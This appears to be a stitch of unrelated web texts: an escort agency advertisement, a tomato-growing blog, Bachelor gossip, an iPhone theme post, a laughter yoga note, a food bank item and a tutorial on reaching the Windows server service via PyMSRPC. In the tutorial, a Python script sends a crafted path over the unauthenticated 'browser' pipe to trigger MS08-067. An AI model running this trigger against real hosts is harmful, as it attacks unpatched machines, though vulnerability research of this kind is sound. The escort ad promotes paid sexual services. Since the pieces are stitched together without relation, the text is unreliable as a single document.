Our girls are available for one-on-one encounters, bachelor parties, birthday parties, divorce and retirement celebrations as well as any other type of event. Our escorts can accompany you to functions. We also have ladies that provide domination and role play services. Whether you desire busty girls, petite girls, blondes, brunettes, redheads, Hispanic or black ladies we can set you up with a hot girl. We offer discounts on multiple hour sessions as well as multiple girl appointments. Our escort agency services the entire Hampton Roads area. We have the most popular Virginia Beach escorts in and around Norfolk, Portsmouth, Chesapeake, Suffolk, Hampton, Newport News and Williamsburg. If you are in or near one of these cities, give us a call to satisfy your adult entertainment needs.
Spend time with the women you fantasize about. VIP Escorts has the hottest escorts in Hampton Roads. Try out a few and decide which is your favorite. It won't hurt if you make them your regular addiction!
If you require any assistance in deciding on a model escort or you just want to make a booking, please get in touch with our friendly receptionist who will be pleased to help you. We strive to be the leading escort service in Virginia.
Rates are competitive. We don't believe you will find better rates anywhere, and certainly not more attractive girls. Booking fees are for the time & company of our high class escorts only. Anything that does occur during your date is between two consenting adults.
Please call us today to make your reservation for a unforgettable experience.
VIP Escorts
Imitation is the sincerest form of flattery so the saying goes. We feel compelled to warn people of an unscrupulous imitator. A "service" using the name Penthouse VIP Escorts has steadily been trying to confuse customers into thinking there is some affiliation between us. That is absolutely not true. We guarantee we have no relationship with them and apologize sincerely if you were tricked by them in any way. In 2004 we opened under the name Penthouse VIP Escorts. In 2009 this copycat outfit came about and actually started using our business name. We changed our name to VIP Escorts to help get away from any perceived affiliation with what we consider a grossly subpar operator. They continue to use the name and have taken to stealing a great deal of content from our website. We assume this is to help foster an appearance of relatedness or perhaps it is simply because they are too lazy or incompetent to develop their own content. Regardless, this behavior should certainly send up some red flags as to what doing business with them would be like. We are proud to be a genuine leader among Escort Services in Virginia Beach and do not willingly allow ourselved to be confused with any flim flam outfits.


text:
A Tomato, Grown in Garbage
There are LOTS of ways to go green. You can eat organic food. Buy reusable shopping bags. And even stick a brick in your toilet.
Or you can dedicate SIX MONTHS of your life to growing a FREAKING tomato and blog about it EVERY week!
And then, you can make a VIDEO about it and set it to music:
You know you LOVE the song! Digging that up took some MAJOR nerdy-ness on my part.
Actually, growing that tomato was QUITE an experience. I really enjoyed doing it. I can't wait for the spring, so I can do it again!
Stay tuned, DiseaseProof's GREEN revolution has only begun!
This year's garbage tomato has begun!


text:
"Bachelor" star Juan Pablo had been telling Clare that he was having lots of fun with her, which made her think that she was going to be the final woman standing. However, during the finale, he revealed that he would prefer to pick Nikki for his future. And when he went to hug Clare after letting her down, she pushed him away. Even though he experienced a public backlash, he hasn't changed his mind about how things went down. According to a new Wetpaint Entertainment report published on March 13, "Bachelor" star Juan Pablo is now revealing that he has no regrets about what he said about Clare after he let her down.
"I lost respect for you ... I thought I knew what kind of man you were. But what you just made me go through, I would never want my children having a father like you," Clare told Juan Pablo as she stormed off. Instead of taking it to heart, he said, "Whew. I'm glad I didn't pick her!" And that didn't sit well with fans.
After the finale aired, he revealed that he didn't regret not talking to her about it. Instead of reacting, he was expecting her to just walk away. "It was very tough for me to say goodbye to Clare, but she made it easier with her reaction. She was expecting me to propose, I get it, but you don't have to come at me like that," he says. "It was childish. She disappointed me." And what's more, he sounds like he's still peeved at Andi for her exit speech. "Like with Andi, we don't have to talk about what happened or didn't happen. Just go."
However, it sounds like Juan Pablo doesn't have any regrets saying what he did during the finale. People have gained plenty of respect for Clare, who said what she felt during the finale. Do you think that Juan Pablo has any respect left for Clare?


text:
iPhone theme: SCOUR
POSTED IN Illustration, My Work, Theme | 1 COMMENT TAGS : apple, iphone, ipod, MCT, scour, Theme, tollboy, touch
I have been working on this theme off and on forever now. I have easily put more time in on this theme than any previous theme I have created. You can grab the zip of the theme here.


text:
We are going to quickly establish a connecton to the vulnerable endpoint using the PyMSRPC library that Cody and I wrote and released at DeepSec to hit the vulnerable code patched in . The vulnerability is within the server service which can be exposed as either services.exe or svchost.exe depending on which version of Windows you are using. To locate the proper binary fire up Process Explorer from Microsoft. Selecting Find->Find Handle or DLL and entering 'srvsvc' will search all modules loaded on the system for the named pipe associated with the server service. Here is a screenshot of this on my system:
We can see that the svchost.exe process has a named pipe with the name srvsvc. Notice also that there is a dll called srvsvc.dll. This is likely going to be where the actual RPC structures are defined. The next step is to load srvsvc.dll in IDA and pull out the IDL information. In case you're not familiar with the Interface Definition Language check out our previous post on Network Data Representation which covers the basics of Microsoft's IDL.
Once the file is loaded we can run the mIDA plugin from Tenable to browse the defined RPC functions. The following list is generated:
- 0x00 0x4B3AF699 _NetrCharDevEnum
- 0x01 0x4B3AF683 _NetrCharDevGetInfo
- 0x02 0x4B3AF6AF _NetrCharDevQPurgeSelf
- 0x03 0x4B3AF68E _NetrCharDevQEnum
- 0x04 0x4B3AF699 _NetrCharDevEnum
- 0x05 0x4B3AF699 _NetrCharDevEnum
- 0x06 0x4B3AF6A4 _NetrCharDevQPurge
- 0x07 0x4B3AF6AF _NetrCharDevQPurgeSelf
- 0x08 0x4B3B0DF9 _NetrConnectionEnum
- 0x09 0x4B3B1958 _NetrFileEnum
- 0x0A 0x4B3B19DC _NetrFileGetInfo
- 0x0B 0x4B3B182D _NetrFileClose
- 0x0C 0x4B3B3985 _NetrSessionEnum
- 0x0D 0x4B3B3896 _NetrSessionDel
- 0x0E 0x4B3A6A9B _NetrShareAdd
- 0x0F 0x4B3A39A7 _NetrShareEnum
- 0x10 0x4B3B47FC _NetrShareGetInfo
- 0x11 0x4B3B48C7 _NetrShareSetInfo
- 0x12 0x4B3B5389 _NetrShareDel
- 0x13 0x4B3B46A1 _NetrShareDelSticky
- 0x14 0x4B3B410F _NetrShareCheck
- 0x15 0x4B3A3C60 _NetrServerGetInfo
- 0x16 0x4B3B57A5 _NetrServerSetInfo
- 0x17 0x4B3B16EF _NetrServerDiskEnum
- 0x18 0x4B3B5F5B _NetrServerStatisticsGet
- 0x19 0x4B3B6459 _NetrServerTransportAdd
- 0x1A 0x4B3B62CC _NetrServerTransportEnum
- 0x1B 0x4B3B6693 _NetrServerTransportDel
- 0x1C 0x4B3B60A0 _NetrRemoteTOD
- 0x1D 0x4B3A4701 _I_NetrServerSetServiceBits
- 0x1E 0x4B3AF5C6 _NetprPathType
- 0x1F 0x4B3AF5E2 _NetprPathCanonicalize
- 0x20 0x4B3AF607 _NetprPathCompare
- 0x21 0x4B3AF626 _NetprNameValidate
- 0x22 0x4B3AF642 _NetprNameCanonicalize
- 0x23 0x4B3AF664 _NetprNameCompare
- 0x24 0x4B3B4785 _NetrShareEnumSticky
- 0x25 0x4B3B53B8 _NetrShareDelStart
- 0x26 0x4B3B4538 _NetrShareDelCommit
- 0x27 0x4B3AF463 _NetrpGetFileSecurity
- 0x28 0x4B3AF519 _NetrpSetFileSecurity
- 0x29 0x4B3B63CF _NetrServerTransportAddEx
- 0x2A 0x4B3A4724 _I_NetrServerSetServiceBitsEx
- 0x2B 0x4B3B0F0D _NetrDfsGetVersion
- 0x2C 0x4B3B0F47 _NetrDfsCreateLocalPartition
- 0x2D 0x4B3B0F52 _NetrDfsDeleteLocalPartition
- 0x2E 0x4B3B100B _NetrDfsSetLocalVolumeState
- 0x2F 0x4B3B10CA _NetrDfsSetServerInfo
- 0x30 0x4B3B1183 _NetrDfsCreateExitPoint
- 0x31 0x4B3B1244 _NetrDfsDeleteExitPoint
- 0x32 0x4B3B1303 _NetrDfsModifyPrefix
- 0x33 0x4B3B13BC _NetrDfsFixLocalVolume
- 0x34 0x4B3B13C7 _NetrDfsManagerReportSiteInfo
- 0x35 0x4B3B64BF _NetrServerTransportDelEx
- 0x36 0x4B3B54E0 _NetrServerAliasAdd
- 0x37 0x4B3B55CD _NetrServerAliasEnum
- 0x38 0x4B3B56BF _NetrServerAliasDel
- 0x39 0x4B3B51C3 _NetrShareDelEx
/* opcode: 0x1F, address: 0x4B3AF5E2 */
long _NetprPathCanonicalize (
[in][unique][string] wchar_t * arg_1,
[in][string] wchar_t * arg_2,
[out][size_is(arg_4)] char * arg_3,
[in][range(0,64000)] long arg_4,
[in][string] wchar_t * arg_5,
[in, out] long * arg_6,
[in] long arg_7
);So, essentially this function takes three wide character strings and three long values. Now we will create a script to communicate with this endpoint using the PyMSRPC library. We'll start off by creating a new file in the pymsrpc\tests directory, I called mine srvsvc.py.
Firstly we will import necessary functionality:
import sys, os, struct
from rpc import *
from ndr import *
The next step is to define a class for the opcode we want to call, in this case opcode 0x1F. Using the IDL information we gatherered with mIDA we can define the "IN" arguments to this opcode within the class constructor:
from debug import print_hex
class opcode_1f:
def __init__(self):
self.arg1 = ndr_unique(data=ndr_wstring(data="127.0.0.1"))
self.arg2 = ndr_wstring(data="\\A\\..\\..\\" + "A" * 50)
self.arg4 = ndr_long(data=500)
self.arg5 = ndr_wstring(data="")
self.arg6 = ndr_long(data=1)
self.arg7 = ndr_long(data=0)The first argument we define is the wide char string. We wrap the instantiation of a ndr_wstring (provided by PyMSRPC) with a call to ndr_unique. This is because of the [unique] tag in the IDL definition. See the previously linked blog entry for a more detailed explanation. The rest of the arguments should be self-explanatory. The argument that triggers the vulnerability is arg2, the path name.
Once the constructor is defined, we can then write a quick serialization function that just passes off the NDR marshalling work to PyMSRPC. We'll call the function get_packed and it's definition is the following:
def get_packed(self):
packeddata = ""
packeddata += self.arg1.serialize()
packeddata += self.arg2.serialize()
packeddata += self.arg4.serialize()
packeddata += self.arg5.serialize()
packeddata += self.arg6.serialize()
packeddata += self.arg7.serialize()
print "[%s]" % print_hex(packeddata)
return packeddataThe serialize methods of the PyMSRPC NDR objects handles padding and alignment issues transparently. So, our get_packed function here just appends all the serialized strings together and returns it. This allows you to easily change the data within the constructor and not worry about marshaling it all by hand each time.
Now that our data is defined, we must establish the communication with the RPC endpoint. PyMSRPC wraps Core's Impacket library for DCERPC. We will be communicating over a named pipe so all we need to define is the pipe name, the host, the port, the UUID of the RPC endpoint we'd like to communicate with, and it's version. The code to do this follows:
host = '192.168.1.101'
port = 445
pipe = 'browser'
uuid = '4b324fc8-1670-01d3-1278-5a47bf6ee188'
version = '3.0'
rpc = RPCnp(host, port, pipe)
rpc.bind(uuid, version)You'll notice we used the named pipe 'browser' rather than 'srvsvc'. This is because the browser named pipe does not require credentials and we can use it to piggyback communication to the correct endpoint by specifying the UUID for the server service.
The last remaining step is simply to create an opcode_1f object, serialize it, and send it on it's way. This is accomplished via the following code:
opcode = 0x1f
request = opcode_1f().get_packed()
rpc.call(opcode, request)If you'd like some more debugging output, you can add the following additional code:
recvbuffer = rpc.recv()
rpcerror = rpc.rpcerror(struct.unpack("<L", recvbuffer[:4])[0])
if not rpcerror:
print "[%s]" % print_hex(recvbuffer)
if rpcerror == "rpc_x_bad_stub_data":
print "%s" % (rpcerror)
breakTo run this file simply call python srvsvc.py and hopefully your breakpoint on NetprPathCanonicalize should hit. On XP SP3 the breakpoint you would have wanted to set is within srvsvc.dll here:
.text:7509D97A __stdcall NetprPathCanonicalize(x, x, x, x, x, x, x)The srvsvc.dll function simply calls in to the following function in netapi32.dll:
.text:5B86A3A9 ; int __stdcall NetpwPathCanonicalize(wchar_t *,int,int,int,int,int)This function will then lead to the vulnerable MS08-067 issue with a call here:
.text:5B86A4D0 call sub_5B86A51BWithin sub_5B86A51B is the vulnerable code. At this point we have a simple 60-line or so script to trigger MS08-067. Hopefully this demonstrates how PyMSRPC can allow you to quickly get up and running with Microsoft RPC investigations.


text:
Very Good, Very Good, Yay!!!
Dan and I are tickled to announce the graduation of eight new Certified Laughter Yoga Leaders! Yippee! We traveled to Aberdeen, SD, to hold the training at Northern State University and had a ball with everyone who attended.
We graduated our eldest leader, Maryan, a cancer survivor and a very young 70-years-old, and on the opposite end of the spectrum we had a graduate student, Amy, who is pregnant with her fourth child (who we know will grow up giggling with mom for no reason). Hahaha!
A big laughter thank-you to Dr. Suzanne Whitehead, Northern State University, and Vicki Holley for helping make the training possible and for being such wonderful hostesses. Dan and I are looking forward to staying at "Hotel Holley" again!
Congratulations new Laughter Leaders! We know you're going to change the world through your unique gifts and the healing powers of laughter;) Very good, very good, yay!!
We love you and will never change our minds!
Jill & Dan


text: Andresen/St. Johns — Students in Clark County Food Bank's inaugural Cooking Matters class graduated Feb. 20, six weeks after they first started learning about healthy cooking. During the classes, participants gained not only kitchen skills, but knowledge about nutrition and food safety. A goal was to instill healthy habits in the students, according to the food bank. A handful of success stories are shared on the food bank's blog: http://clarkcountyfoodbankblog.wordpress.com. One woman learned how to safely and easily cut an apple, while another said her son was visiting more now that she was making meals from scratch. The classes were spearheaded by the food bank's nutrition education team. The nonprofit food bank is also in the midst of teaching the same cooking course in Spanish, through a pairing with Sea Mar Community Health Centers.